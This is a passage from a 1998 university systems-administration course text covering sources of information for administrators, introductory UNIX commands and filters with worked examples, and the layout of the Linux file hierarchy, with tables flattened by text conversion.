David Jones and Bruce Jamieson (15/10/98)

Page 33

85321, Systems Administration

Chapter 1: The What, Why and How of Sys Admin

The only thing that works better than email is personal visits where I am in their office, usually leaning over their screen showing them how to do something. Taking an interest in their work helps a lot. I find this easy where they are graphing the temperature of a lake in glorious colour, but more difficult where they are typing up letters. I don't do enough personal visiting, partly because I'm so busy and partly because I'm not keen on interrupting people. It usually happens only when they've asked a question that requires a "show me" approach. A disadvantage of personal visits is that they help only one person at once, whereas with email you can reach all your users. To sum up: in communicating with users, I aim to teach them things and get them to respect me. By sending email I can help the most people for the least effort, although personal visits have much more impact. There are other useful methods, such as policy statements, newsletters, handouts and seminars, but they may not reach the ones who need it most. It's hard. Very hard. If you have any insights or ideas in this area, I'd love to hear them, and I'm sure the rest of the readers would too. Communicating with management Relationships between Systems Administrators and management can be tense generally because both sides don't understand the importance and problems of the other. Having good Systems Administrators is essential. As is having good management. Management is a difficult task which you won't understand or agree with until you have to perform it. As a Systems Administrator you should keep in mind that the aims of management will not be the same as yours. Management is about profit. When you deal with management keep this in mind. If you need an upgrade of a machine don't argue it on the basis that the load average is running at 5 and the disks are full. Argue it on the basis that due to the lack of resources the sales force can't take orders and the secretaries are loosing documents which is leading to loss of customers. Generally Systems Administrators tend to focus on achieving a good technical solution. This must be balanced with helping the company you are working for make money.

How not to communicate with users

The Bastard Operator from Hell is a classic (amongst Systems Administrators) collection of stories about a mythically terrible operator. It provides an extreme view of a bad system support person and is also quite funny (depending on your sense of humour). Some of the language may offend some people.

David Jones and Bruce Jamieson (15/10/98)

Page 34

85321, Systems Administration

Chapter 1: The What, Why and How of Sys Admin

Bastard Operator from Hell Available on the 85321 Web site under the Resource Materials section for week 1.

Conclusions
Systems Administration is a complex and interesting field requiring knowledge from most of the computing area. It provides a challenging and interesting career. The UNIX operating system is an important and available competitor in the current operating systems market and forms the practical system for this subject.

David Jones and Bruce Jamieson (15/10/98)

Page 35

85321, Systems Administration

Chapter 2: Information Sources for Sys Admin

Chapter
Introduction

Information Sources

As a Systems Administrator you will be expected to fix any and all problems that occur with the computer systems under your control. For most of us mere mortals it is simply not possible for us to know everything that is required. Instead the Systems Administrator must know the important facts and be able to quickly discover any new information that they dont yet know. This chapter examines the sources of information that a Systems Administrator might find useful including professional associations , books, magazines, and the Internet. As the semester progresses you should become familiar with and use most the information sources presented here.

Professional organisations
Belonging to a professional organisation can offer a number of benefits including recognition of your abilities, opportunities to talk with other people in jobs similar to yours and a variety of other benefits. Most professional organisations distribute newsletters, hold conferences and many today have mailing lists and Web sites. All of these can help you perform your job. Professional organisations a Systems Administrator might find interesting include Systems Administrators Guild of Australia (SAGE-AU, http://www.sageau.org.au/), Systems Administrators Guild(SAGE) (the American version of SAGE-AU, http://www.usenix.org/sage/), Australian UNIX Users Group (AUUG, http://www.auug.org.au/), Australian Computer Society (ACS, http://www.acs.org.au/), Usenix (http://www.usenix.org.au/), Internet Society of Australia (http://www.isoc-au.org.au/) This list has a distinct Australian, UNIX, Internet flavour with just a touch of the USA thrown in. If anyone from overseas or from other factions in the computer industry (i.e. Novell, Microsoft) has a professional organisation that should be added to this list please let me know (d.jones@cqu.edu.au).

David Jones and Bruce Jamieson (15/10/98)

Page 36

85321, Systems Administration

Chapter 2: Information Sources for Sys Admin

Other organisations
The UNIX Guru Universe (UGU http://www.ugu.com/) is a Web site which provides a huge range of pointers to UNIX related material. It will be used throughout this chapter and in some of the other chapters in the text. Professional Associations The Resource Materials section on the 85321 Web site for week 1 has a page which contains links to professional associations and user organisations.

The SAGE groups

SAGE stands for Systems Administrators Guild and is the name taken on by a number of professional societies for Systems Administrators that developed during the early 90s. There are national SAGE groups in the United States, Australia and the United Kingdom. SAGE-AU The Australian SAGE group was started in 1993. SAGE-AU holds an annual conference and distributes a bi-monthly newsletter. SAGE-AU is not restricted to UNIX Systems Administrators. Both SAGE and SAGE-AU have a presence on the WWW. The Professional Associations page on the 85321 Web site contains pointers to both.

The ACS
The ACS is the main professional computing society in Australia servicing people from all computing disciplines. The flavour of the ACS is much more business oriented than SAGE-AU. The ACS is also moving towards some form of certification of computing professionals and some jobs may require ACS membership. For more information refer to the ACS WWW page (http://www.acs.org.au/).

UNIX User groups

There are various UNIX user groups spread throughout the world. AUUG is the Australian UNIX Users Group and provides information of all types on both UNIX and Open Systems. Usenix was one of the first UNIX user groups anywhere and is based in the United States. The American SAGE group grew out of the Usenix Association. Both Usenix (http://www.usenix.org/)and AUUG (http://www.auug.org.au/)have WWW sites. Both sites have copies of material from the associations newsletters.
David Jones and Bruce Jamieson (15/10/98) Page 37

85321, Systems Administration

Chapter 2: Information Sources for Sys Admin

It should be noted that both user groups have gone beyond their original UNIX emphasis. This is especially true for Usenix which runs two important symposiums/conferences on Windows NT.

Useful books and magazines

When a new computing person asks a technical question a common response will be RTFM. RTFM stands for Read The Fine (and other words starting with f) Manual and implies that the person asking the question should go away and look at documentation for the answer. Not long ago RTFM for a Systems Administrator meant reading the on-line man pages, some badly written manual from the vendor or maybe, if lucky, a Usenet newsgroup or two. Trying to find a book that explained how to use cron or how to set up NFS was a difficult task. However the last couple of years has seen an explosion in the number of books and magazines that cover Systems Administration and related fields. The following pages contain pointers to a number of different bibliographies that list books that may be useful.

Bibliographies
UNIX, Systems Administration and related books. The Resource Materials section for week 1, on the 85321 Web site and CDROM, has a collection of pointers to books useful for 85321 and Systems Administrators in general. O'Reilly books Over the last few years there has been an increase in the number of publishers producing UNIX, Systems Administration and network related texts. However one publisher has been in this game for quite some time and has earned a deserved reputation for producing quality books. A standard component of the personal library for many Systems Administrators is a collection of O'Reilly books. For more information have a look at the OReilly Web site (http://www.ora.com/).

David Jones and Bruce Jamieson (15/10/98)

Page 38

85321, Systems Administration

Chapter 2: Information Sources for Sys Admin

Magazines
There are now a wide range of magazines dealing with all sorts of Systems Administration related issues, including many covering Windows NT. Magazines The 85321 Web site contains pointers to related magazines under the Resource Materials section for week 1.

Internet resources
The Internet is by far the largest repository of information for computing people today. This is especially true when it comes to UNIX and Linux related material. UNIX was an essential part of the development of the Internet, while Linux could not have been developed without the ease of communication made possible by the Internet. If you have a question, a problem, need an update for some software, want a complete operating system or just want to have a laugh the Internet should be one of the first places you look as a Systems Administrator. So what is out there that could be of use to you? You can find software discussion forums, and information. Each of these is introduced in more detail in the following sections.

How to use the Internet

By this stage it is assumed that you should be a fairly competent user of the Internet, the World-Wide Web, email, Usenet news and other net based resources. If you are a little rusty or havent been introduced to many of these tools there are a large number of tutorials on the Internet that provide a good introduction. A good list of these tutorials is held on the Yahoo site (http://www.yahoo.com/).

Software on the Internet

There is a large amount of "free" UNIX software available on the Internet. It should be remembered that no software is free. You may not pay anything to get the software but you still have to take the time to install it, learn how to use it and maintain it. Time is money. GNU software (GNU is an acronym that stands for GNU's Not UNIX) is probably the best known "public-domain" software on the Internet. Much of the

David Jones and Bruce Jamieson (15/10/98)

Page 39

85321, Systems Administration

Chapter 2: Information Sources for Sys Admin

software, for example ls cd and the other basic commands, that comes with Linux is GNU software. The GNU Manifesto A copy of the GNU manifesto is available on the 85321 Web site and CDROM under the Resource Materials section for this week.

Discussion forums
Probably the biggest advantage the Internet provides is the ability for you to communicate with other people who are doing the same task. Systems Administration is often a lonely task where you are one of the few people, or the only one, doing the task. The ability to share the experience and knowledge of other people is a big benefit. Major discussion forums on the net include Usenet news Mailing lists other discussion tools

Usenet news
An Introduction to Usenet News If you require it the 85321 Web site and CD-ROM has a reading which provides an introduction to Usenet News.

Useful newsgroups
Some of the more useful newsgroups for this subject include comp.os.linux.* There are a large number of newsgroups under this heading discussing most Linux related topics. comp.unix.* Another large collection of newsgroups talking about UNIX in particular. Useful groups include comp.unix.questions for general UNIX questions and comp.unix.admin for Systems Administration type questions. aus.computer.linux An Australian Linux newsgroup. http://www.linuxresources.com/online.html maintains a more detailed description and list of Linux newsgroups.

David Jones and Bruce Jamieson (15/10/98)

Page 40

85321, Systems Administration

Chapter 2: Information Sources for Sys Admin

Exercises
2.1

There is a newsgroup called comp.os.unix. Like many newsgroups this group maintains an FAQ. Obtain the comp.unix.questions FAQ and answer the following questions - find out what the rc stands for when used in filenames such as .cshrc
/etc/rc.d/rc.inet1

- find out about the origins of the GCOS field in the /etc/passwd file

Mailing lists
For many people the quality of Usenet News has been declining as more and more people start using it. One of the common complaints is the high level of beginners and the high level of noise. Many experienced people are moving towards mailing lists as their primary source of information since they often are more focused and have a better collection of subscribers and contributors. Mailing lists are also used by a number of different folk to distribute information. For example, vendors such as Sun and Hewlett Packard maintain mailing lists specific to their operating systems (Solaris and HP-UX). Professional associations such as SAGE-AU and SAGE also maintain mailing lists for specific purposes. In fact, many people believe the SAGE-AU mailing list to be the one of the best reasons for joining SAGE-AU as requests for assistance on this list are often answered within a few hours (or less). Mailing lists One good guide to all the mailing lists that are available is Liszt, mailing list directory (http://www.liszt.com/). The UNIX Gurus Universe also maintains a directory of mailing lists related to Sys Admin.

Other Discussion Forums

There are also other forums that may be useful for Systems Administrators and make use of technology other than Usenet news or mailing lists. These forums often use IRC or Web-based chat facilities.

Information
World-Wide Web
There is a huge collection of resources for Systems Administration, UNIX and Linux. The resource materials page on the 85321 Web site contains pointers to some of them.

David Jones and Bruce Jamieson (15/10/98)

Page 41

85321, Systems Administration

Chapter 2: Information Sources for Sys Admin

Anonymous FTP
A good Systems Administrator writes tools to help automate tasks. Most of the really good tools are freely available and can usually be found via anonymous FTP.

Internet based Linux resources

Linux would not have been possible without the Internet. The net provided the communications medium by which programmers from around the world could collaborate and work together to produce Linux. Consequently there is a huge collection of Internet based resources for Linux.

The Linux Documentation Project

The best place to start is the Linux Documentation Project (LDP). The aim of this project is to produce quality documentation to support the Linux community. The original LDP page is located at http://sunsite.unc.edu/mdw/linux.html. A mirror of the LDP pages is maintained on the 85321 Web site and a copy of these pages can be found on the 85321 CD-ROM. A major source of information which the LDP provides are the HOW-TOs. HOW-TOs are documents which explain how to perform specific tasks as diverse as how to install and use StarOffice (a commercial office suite that is available free, for evaluation) through to detailed information about how the Linux boot-prompt works. The HOW-TOs should be the first place you look for specific Linux information. Copies are available from the LDP Web pages.

RedHat
This version of the text is written as a companion for RedHat Linux. As a result it will be a common requirement for you find out information specific to RedHat Linux. The best source on the Internet for this information is the RedHat site, http://www.redhat.com/. Most of you may have already referred to this site to find out about any of the errata for your version of RedHat.

David Jones and Bruce Jamieson (15/10/98)

Page 42

85321, Systems Administration

Chapter 2: Information Sources for Sys Admin

Conclusions
If at anytime you are having difficulty solving a Systems Administration problem your first step should be to RTFM. The fine manual might take the form of a book, magazine, newsletter from a professional organisation, a newsgroup, mailing list or WWW page. If you need an answer to a question it is probably available from one of these sources. Professional organisations for a Systems Administrator includes the ACS, SAGE-AU, SAGE, Usenix and AUUG. IN particular the SAGE groups are specific to Systems Administration.

Review Questions
2.1 Find a question from one of the Linux or UNIX newsgroups mentioned in this chapter. Post the question and your answer to your group's mailing list. 2.2 Examine the errata list for your version of RedHat Linux. Do any of these errata appear important to your system?

David Jones and Bruce Jamieson (15/10/98)

Page 43

85321, Systems Administration

Chapter 3: Using UNIX

Chapter

Using UNIX

Introduction
A Systems Administrator not only has to look after the computers and the operating system, they also have to be the expert user (or at least a very knowledgeable user) of their systems. When other users have problems where do they go? The documentation? Online help facilities? No, they usually go to the Systems Administrator. The following reading aims to start you on the road to becoming an expert UNIX user. Becoming a UNIX guru can only be achieved through a great deal of experience so it is important that you spend time using the commands introduced in this chapter.

Introductory UNIX
Basic UNIX You will find an introduction to some very basic UNIX concepts under the Resource Materials section for week 2. Exercises
3.1

3.2

What UNIX commands would you use to - change to your home directory - display the list of files in the current directory - display my name is fred onto the screen - copy the file tmp.dat from the current directory to the directory data underneath your home directory and after the file has been copied delete it What will the following UNIX commands do? Don't execute a UNIX command if you aren't sure what it is going to do. In particular do not try to execute the first command below.
rmdir ~ cat /etc/passwd ls ../../fred/doc/tmp

David Jones, Bruce Jamieson (15/10/98)

Page 44

85321, Systems Administration

Chapter 3: Using UNIX

UNIX Commands are programs

The UNIX commands that have been introduced so far are stored on a UNIX computer as executable files. Most of the commands you will use in this chapter are stored in standard binary directories such as /bin /usr/bin /usr/local/bin. On a system running RedHat version 5.0 there are over 1000 different files in the directories /bin, /usr/bin and /usr/sbin. Which means over 1000 different commands.

vi
A major task of any user of a computer is editing text files. For a Systems Administrator of a UNIX system manipulation of text files is a common task due to many of the system configuration files being text files. The most common, screen-based UNIX editor is vi. The mention of vi sends shudders through the spines of some people, while other people love it with a passion. vi
is difficult to learn, however it is also an extremely powerful editor which can save a Systems Administrator a great deal of time.

As you progress through this subject you will need an editor. vi is an anachronistic antique of an editor hated by most people. So why should you use it? Reasons include it is very powerful, How many editors do you know that can take the first 20 characters of every line in a file and swap them with the second set of 20 characters (something I've had to do) it is the only screen editor available on every UNIX system There will be times when a Systems Administrator cannot use a full screen editor. At times like this you must resort to single line editors like ed and ex. vi grew out of the ex editor and so uses many of the same commands. Learning and using these commands in vi can save you time later on. As a result of all this it is strongly suggested that you use vi whereever possible in studying for this unit. Early on you will find using vi a hassle but sticking with it will be worthwhile in the end.

An introduction to vi
Linux comes with vi as standard. Most distributions also provide you with an option to install vim. vim is an improved version of vi that includes features like multiple levels of undo. Using vi Under the resource materials section for week 2 (on the 85321 CD-ROM and Web site) contains a number of resources to introduce you to vi including an introduction and a number of references.

David Jones, Bruce Jamieson (15/10/98)

Page 45

85321, Systems Administration

Chapter 3: Using UNIX

UNIX commands
A UNIX system comes with hundreds of executable commands and programs (it is quite easy to get to a count of 600 without really looking hard). Typically each of these programs carries out a particular job and will usually have some obscure and obtuse name that means nothing to the uninitiated.

Philosophy of UNIX commands

There are no set rules about UNIX commands however there is a UNIX philosophy that is used by many of the commands. small is beautiful, UNIX provides the mechanisms to join commands together so commands should do one thing well. 10 percent of the work solves 90 percent of the problems, UNIX was never designed to solve all problems, it was designed to solve most requirements without too much hassle on the programmer's part. solve the problem, not the machine, Commands should ignore any machine specific information and be portable. solve at the right level, and you will only have to do it once. The key to UNIX problem solving is only to do it once e.g. pattern matching is only implemented once, in the shell, not in every command.

UNIX command format

UNIX commands use the following format
command_name -switches parameter_list

Component
command_name
-switches

parameter_list

Explanation the name of the actual command, generally this is the name of the executable program that is the command The - symbol is used to indicate a switch. A switch modifies the operation of a command. the list of parameters (or arguments) that the command will operate on, could be 0, 1 or more parameters, parameters are separated by white space characters (space, TAB)
UNIX Table 3 .1 c o mmand fo r mat

David Jones, Bruce Jamieson (15/10/98)

Page 46

85321, Systems Administration

Chapter 3: Using UNIX

Example commands ls -l The switch -l is used to modify the action of the ls command so that it displays a long listing of each file. ls -l /etc/passwd / /var Commands can take multiple parameters. ls -ld /etc/passwd / /var Multiple switches can also be used. Linux commands take multiple arguments Unlike MS-DOS, UNIX commands can take multiple arguments. Exercises
3.3

One of your users has created a file called -tmp? (The command cat /etc/passwd > -tmp will do it.) They want to get rid of it but can't. Why might the user have difficulty removing this file? How would you remove the file?

A command for everything

A fairly intelligent and experienced would be computer professional has just started using UNIX seriously (he was a student in the very first offering of this subject). He gets to a stage where he wants to change the name of some files. Being an MS-DOS junkie from way back what command does he look for? The rename command of course. It doesn't work! "That's a bit silly!", he thinks, "You would think that UNIX would have a rename command." It just so happens that this person has just completed a C programming subject in which one of the assignments was to write a rename command. So he spends the next day trying to write and compile this program. After much toil and trouble he succeeds and follows good administration policy and informs all the other students of this brand new wonderful program he has written. He goes into great detail on how to use the command and all the nice features it includes. They all write back to tell him about the UNIX command mv (the move command) that is the UNIX command that is equivalent to rename. The moral of the story The moral of this story is that if you want to do something under UNIX, then chances are that there is already a command to do it. All you have to do is work out what it is.

David Jones, Bruce Jamieson (15/10/98)

Page 47

85321, Systems Administration

Chapter 3: Using UNIX

Online help
UNIX comes with online help called man pages. Man pages are short references for commands and files on a UNIX system. They are not designed as a means to learn the commands. The man pages are divided into different sections. Table 3.2 shows the sections that Linux uses. Different versions of Linux use slightly different sections. Section number 1 2 3 3c 3s 3m 3f 3x 4 5 6 7 8 Contents user commands system calls Library functions standard C library standard I/O library arithmetic library Fortran library special libraries special files file formats games miscellaneous administration and privileged commands
Table 3 .2 M anual Pag e Se c tio ns

Using the manual pages

To examine the manual page for a particular command or file you use the man command. For example if you wanted to examine the man page for the man command you would execute the command man man.

Is there a man page for...

The command man -k keyword will search for all the manual pages that contain keyword in its synopsis. The commands whatis and apropos perform similar tasks. Rather than search through all the manual pages Linux maintains a keyword database in the file /usr/man/whatis. If at any stage you add new manual pages you should rebuild this database using the makewhatis command. If there is a file you wish to find out the purpose for you might want to try the f option of the man command.

David Jones, Bruce Jamieson (15/10/98)

Page 48

85321, Systems Administration

Chapter 3: Using UNIX

man page format

Each manual page is stored in its own file formatted (under Linux) using the groff command (which is the GNU version of nroff). The files can be located in a number of different directories with the main manual pages located under the /usr/man directory. Under /usr/man you will find directories with names mann and catn. The n is a number that indicates the section of the manual. The files in the man directories contain the groff input for each manual page. The files in the cat directories contain the output of the groff command for each manual page. Generally when you use the man command the groff input is formatted and displayed on the screen. If space permits the output will be written into the appropriate cat directory.

Some UNIX commands

There are simply too many UNIX commands for this chapter to introduce all, or even most of them. The aim of the following is to show you some of the basic commands that are available. To find the remainder you will have to discover them for yourself. One method for becoming more familiar with the available commands is to look at the filenames in the /bin /usr/bin /usr/local/bin directories, These are the binary directories which contain the exectuable programs which are the UNIX commands. take the filename and look at the manual page Each of the commands will have a manual page which will explain what the command does and how you can use it. The commands introduced in this table can be divided into categories based on their purpose identification commands, These commands identify the user or the system. simple commands, Perform some simple, non-specific task. filters. Filters take some input, modify it and then output it.

David Jones, Bruce Jamieson (15/10/98)

Page 49

85321, Systems Administration

Chapter 3: Using UNIX

Command
date

Purpose Display the current time and date Display a large banner Displays your current username Display the contents of a file a page at a time Display the last few lines of a file Remove duplicate lines from a file join columns of files together Display all lines in a file containing a patter
Basic

Command
who

banner whoami more and less

cal cat head

Purpose display who is currently on the computer display a calendar display the contents of a file display the first few lines of a file sort the content of a file into order remove columns of characters from a file translate specific characters count the number of characters, words and lines in a file

tail uniq paste grep

sort cut tr wc

Table 3 .3 UNIX c o mmands

Identification Commands who

Displays a list of people currently logged onto the computer.
dinbig:/$ who david tty1 Feb 5 14:27

whoami
Displays who the computer thinks you are currently logged in as.
dinbig:/$ whoami david

uname Displays information about the operating system and the computer on which it is running
[david@beldin david]$ uname Linux [david@beldin david]$ uname a

David Jones, Bruce Jamieson (15/10/98)

Page 50

85321, Systems Administration

Chapter 3: Using UNIX

Linux beldin.cqu.edu.au 2.0.31 #1 Sun Nov 9 21:45:23 EST 1997 i586 unknown

Simple commands
The following commands are simple commands that perform one particular job that might be of use to you at some stage. There are many others you'll make use of. Only simple examples of the commands will be shown below. Many of these commands have extra switches that allow them to perform other tasks. You will have to refer to the manual pages for the commands to find out this information.

date
Displays the current date and time according to the computer.
dinbig:/$ date Thu Feb 8 16:57:05 EST 1996

banner
Creates a banner with supplied text.
dinbig:/$ banner -w30 a ## ###### ## ## ## ### # # # ## ## ## ########### ##

cal
Display a calendar for a specific month. (The Linux version might not work).
bash$ cal 1 1996 January 1996 S M Tu W Th F S 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31

Filters
Filters are UNIX commands that take input or the contents of a file, modify that content and then display the result on output. Later on in this chapter you will be shown how you can combine these filters together to manipulate text.

David Jones, Bruce Jamieson (15/10/98)

Page 51

85321, Systems Administration

Chapter 3: Using UNIX

cat
The simplest filter. cat doesn't perform any modification on the information passed through it.
bash$ cat /etc/motd Linux 1.2.13.

more and less

These filters display their input one page at a time. At the end of each page they pause and wait for the user to hit a key. less is a more complex filter and supports a number of other features. Refer to the man page for the commands for more information.

head and tail

head and tail allow you to view the first few lines or the last few lines of a

file. Examples head chap1.html Display the first 10 lines of chap1.html tail chap1.html display the last 10 lines of chap1.html head -c 100 chap1.html display the first 100 bytes of chap1.html head -l 50 chap1.html display the first 50 lines of chap1.html tail -c 95 chap1.html display the last 100 bytes of chap1.html sort sort The sort command is used to sort data using a number of different criteria outlined in the following table. Switch
-r -n

-u +numbern -tcharacter

Result sort in descending order (default is ascending) sort as numbers (default is as ASCII characters) When sorting numbers as numbers 100 is greater than 5. When sorting them as characters 5 is greater than 100. eliminate duplicate lines skip number fields specify character as the field delimiter
Switc he s Table 3 .4 fo r the so r t c o mmand

David Jones, Bruce Jamieson (15/10/98)

Page 52

85321, Systems Administration

Chapter 3: Using UNIX

Examples The following examples all work with the /etc/passwd file. /etc/passwd is the file that stores information about all the users of a UNIX machine. It is a text file with each line divided into 7 fields. Each field is separated by a : character. Use the cat command to view the contents of the file. sort /etc/passwd sort in order based on the whole line sort -r /etc/passwd reverse the order of the sort sort +2n -t: /etc/passwd sort on third field, where field delimiter is : (skip the first two fields) sort +2n -t: -n /etc/passwd same sort but treat the field as numbers not ASCII characters uniq uniq is used to find or remove and duplicate lines from a file and display what is left onto the screen. A duplicate to uniq is where consecutive lines match exactly. sort is often used to get the duplicate lines in a file into consecutive order before passing it to uniq. Passing a file from one command to another is achieved using I/O redirection which is explained in a later chapter. Examples uniq names remove duplicate lines from names and display them on the screen uniq names uniq.names remove duplicates lines from names and put them into uniq.names uniq -d names display all duplicate lines tr Used to translate specified characters into other characters. tr is used in conjunction with I/O redirection which is explained in the next chapter. In the examples below the < character is an I/O redirection character. Examples tr a z < /etc/passwd translate all a's to z's in /etc/passwd and display on the screen tr '[A-Z]' '[a-z]' < /etc/passwd translate any character in between A-Z into the equivalent character between a-z. (make all upper-case characters lower case) tr -d ' ' < /etc/passwd delete any single space characters from the file

David Jones, Bruce Jamieson (15/10/98)

Page 53

85321, Systems Administration

Chapter 3: Using UNIX

cut Is used to "cut out" fields from a file. Try cut -c5-10 /etc/passwd. This will display all the characters between the 5th and 10th on every line of the file /etc/passwd. The following table explains some of the switches for cut Switch
-cRANGE -dcharacter -fRANGE

Purpose cut out the characters in RANGE specify that the field delimiter is character cut out the fields in RANGE
Switc he s Table 3 .5 fo r the cu

c o mmand

RANGE used by the -f and -c switches can take the following forms

numberget all from character or field number to the end of the line number-number2 get all from character or field number to character or field number2 number,number2 get characters or fields number and number2 And combinations of the above. Examples cut -c1 /etc/passwd get the first character from every line cut -c1,5,10-20 /etc/passwd get the first, fifth character and every character between 10 and 20 cut -d: -f2 /etc/passwd get the second field cut -d: -f3- /etc/passwd get all fields from the third on paste This command performs the opposite task to cut. It puts lines back together. Assume we have two files
names george fred david janet addresses 55 Aim avenue 1005 Marks road 5 Thompson Street 43 Pedwell road

To put them back together we'd use the command

David Jones, Bruce Jamieson (15/10/98) Page 54

85321, Systems Administration

Chapter 3: Using UNIX

bash$ paste names addresses george 55 Aim avenue fred 1005 Marks road david 5 Thompson Street janet 43 Pedwell road

The two fields have been separated by a tab character. To use a different character you use the -d switch.
bash$ paste -d: names addresses george:55 Aim avenue fred:1005 Marks road david:5 Thompson Street janet:43 Pedwell road

To paste together lines from the same file you use the -s switch.
bash$ paste -s names george fred david janet

grep
grep stands for Global Regular Expression Pattern match. It is used to search

a file for a particular pattern of characters.

grep david /etc/passwd display any line from /etc/passwd that contains david

To get the real power out of grep you need to be familiar with regular expressions which are discussed in more detail in a later chapter. wc Used to count the number of characters, words and lines in a file. By default it displays all three. Using the switches -c -w -l will display the number of characters, words and lines respectively.
bash$ wc /etc/passwd 19 20 697 /etc/passwd bash$ wc -c /etc/passwd 697 /etc/passwd bash$ wc -w /etc/passwd 20 /etc/passwd bash$ wc -l /etc/passwd 19 /etc/passwd

For the following exercises create a file called phone.book that contains the following
george!2334234!55 Aim avenue fred!343423!1005 Marks road david!5838434!5 Thompson Street janet!33343!43 Pedwell road

The field delimiter for this file is ! and the fields are name, phone number, address.

David Jones, Bruce Jamieson (15/10/98)

Page 55

85321, Systems Administration

Chapter 3: Using UNIX

Exercises
3.4

What command would you use to (assume you start from the original file for every question) 1. sort the file on the names 2. sort the file in descending order on phone number 3. display just the addresses 4. change all the ! characters to : 5. display the first line from the file 6. display the line containing david's information 7. What would effect would the following command have paste -d:
-s phone.book

Getting more out of filters

The filters are a prime example of good UNIX commands. They do one job well and are designed to be chained together. To get the most out of filters you combine them together in long chains of commands. How this is achieved will be examined in a later chapter when the concept of I/O redirection is introduced. I/O redirection allows you to count the number of people on your computer who have usernames starting with d by using the grep command to find all the lines in the /etc/passwd file that start with d and pass the output of that command to the wc command to count the number of matching lines that grep found. How you do this will be explained next week.

Conclusions
In this chapter you have been provided a brief introduction to the philosophy and format of UNIX commands. In addition some simple commands have been introduced including account related commands
login passwd exit

file and directory manipulation commands

cd ls rm mv mkdir

some basic commands

date who banner cal

some filters
cat more less head tail sort uniq cut paste tr grep

A Systems Administrator has to be a "guru". An expert user of their system. A Systems Administrator should not only to be able to get the most out of the system but also to be able to explain and assist other users.

David Jones, Bruce Jamieson (15/10/98)

Page 56

85321, Systems Administration

Chapter 4: The File Hierarchy

Chapter
Introduction
Why?

The File Hierarchy

Like all good operating systems, UNIX allows you the privilege of storing information indefinitely (or at least until the next disk crash) in abstract data containers called files. The organisation, placement and usage of these files comes under the general umbrella of the file hierarchy. As a system administrator, you will need to be very familiar with the file hierarchy. You will use it on a day to day basis as you maintain the system, install software and manage user accounts. At a first glance, the file hierarchy structure of a typical Linux host (we will use Linux for the basis of our discussion) may appear to have been devised by a demented genius who'd been remiss with their medication. Why, for example, does the root directory contain something like:
bin boot dev etc home lib lost+found mnt proc root sbin tmp usr var

Why was it done like this? Historically, the location of certain files and utilities has not always been standard (or fixed). This has lead to problems with development and upgrading between different "distributions" of Linux [Linux is distributed from many sources, two major sources are the Slackware and Red Hat package sets]. The Linux directory structure (or file hierarchy) was based on existing flavours of UNIX, but as it evolved, certain inconsistencies developed. These were often small things like the location (or placement) of certain configuration files, but it resulted in difficulties porting software from host to host. To combat this, a file standard was developed. This is an evolving process, to date resulting in a fairly static model for the Linux file hierarchy. In this chapter, we will examine how the Linux file hierarchy is structured, how each component relates to the overall OS and why certain files are placed in certain locations.

David Jones, Bruce Jamieson (15/10/98)

Page 57

85321, Systems Administration

Chapter 4: The File Hierarchy

Linux File System Standard The location and purposes of files and directories on a Linux machine are defined by the Linux File Hierarchy Standard. The Resource Materials section of the 85321 Web site contains a pointer to it.

The important sections

The root of the problem
The top level of the Linux file hierarchy is referred to as the root (or /). The root directory typically contains several other directories including: Directory
bin/ boot/ dev/ etc/ home/ lib/ Lost+found/ mnt/ proc/ root/ sbin/ tmp/ usr/

var/

Contains Required Boot-time binaries Boot configuration files for the OS loader and kernel image Device files System configuration files and scripts User/Sub branch directories Main OS shared libraries and kernel modules Storage directory for "recovered" files Temporary point to connect devices to Pseudo directory structure containing information about the kernel, currently running processes and resource allocation Linux (non-standard) home directory for the root user. Alternate location being the / directory itself System administration binaries and tools Location of temporary files Difficult to define - it contains almost everything else including local binaries, libraries, applications and packages (including X Windows) Variable data, usually machine specific. Includes spool directories for mail and news
Table 4 .1 M ajo r Dir e c to r ie s

Generally, the root should not contain any additional files - it is considered bad form to create other directories off the root, nor should any other files be placed there.

David Jones, Bruce Jamieson (15/10/98)

Page 58

85321, Systems Administration

Chapter 4: The File Hierarchy

Why root? The name root is based on the analogous relationship between the UNIX files system structure and a tree! Quite simply, the file hierarchy is an inverted tree. I can personally never visiualise an upside down tree what this phrase really means is that the top of the file heirarchy is at one point, like the root of a tree, the bottom is spread out, like the branches of a tree. This is probably a silly analogy because if you turn a tree upside down, you have lots of spreading roots, dirt and several thousand very unhappy worms! Every part of the file system eventually can be traced back to one central point, the root. The concept of a root structure has now been (partially) adopted by other operating systems such as Windows NT. However, unlike other operatings systems, UNIX doesn't have any concept of drives. While this will be explained in detail in a later chapter, it is important to be aware of the following: The file system may be spread over several physical devices; different parts of the file heirarchy may exist on totally separate partitions, hard disks, CDROMs, network file system shares, floppy disks and other devices. This separation is transparent to the file system heirarchy, user and applications. Different parts of the file system will be connected (or mounted) at startup; other parts will be dynamically attached as required. The remainder of this chapter examines some of the more important directory structures in the Linux file hierarchy.

Homes for users

Every user needs a home...
The /home directory structure contains the the home directories for most login-enabled users (some notable exceptions being the root user and (on some systems) the www/web user). While most small systems will contain user directories directly off the /home directory (for example, /home/jamiesob), on larger systems is common to subdivide the home structure based on classes (or groups) of users, for example:
/home/admin /home/finance /home/humanres /home/mgr /home/staff # # # # # Administrators Finance users Human Resource users Managers Other people

David Jones, Bruce Jamieson (15/10/98)

Page 59

85321, Systems Administration

Chapter 4: The File Hierarchy

Other homes?
/root is the home directory for the root user. If, for some strange reason, the /root directory doesn't exist, then the root user will be logged in in the /

directory - this is actually the traditional location for root users. There is some debate as to allowing the root user to have a special directory as their login point - this idea encourages the root user to set up their .profile, use "user" programs like elm, tin and netscape (programs which require a home directory in which to place certain configuration files) and generally use the root account as a beefed up user account. A system administrator should never use the root account for day to day user-type interaction; the root account should only be used for system administration purposes only. Be aware that you must be extremely careful when allowing a user to have a home directory in a location other than the /home branch. The problem occurs when you, as a system administrator, have to back-up the system - it is easy to miss a home directory if it isn't grouped with others in a common branch (like /home).

/usr

and /var

And the difference is...

It is often slightly confusing to see that /usr and /var both contain similar directories:
/usr X11R6 bin dict doc etc /var catman lib local lock games i486-linux-libc5 include info lib log nis libexec local man sbin share spool tmp src tmp

preserve run

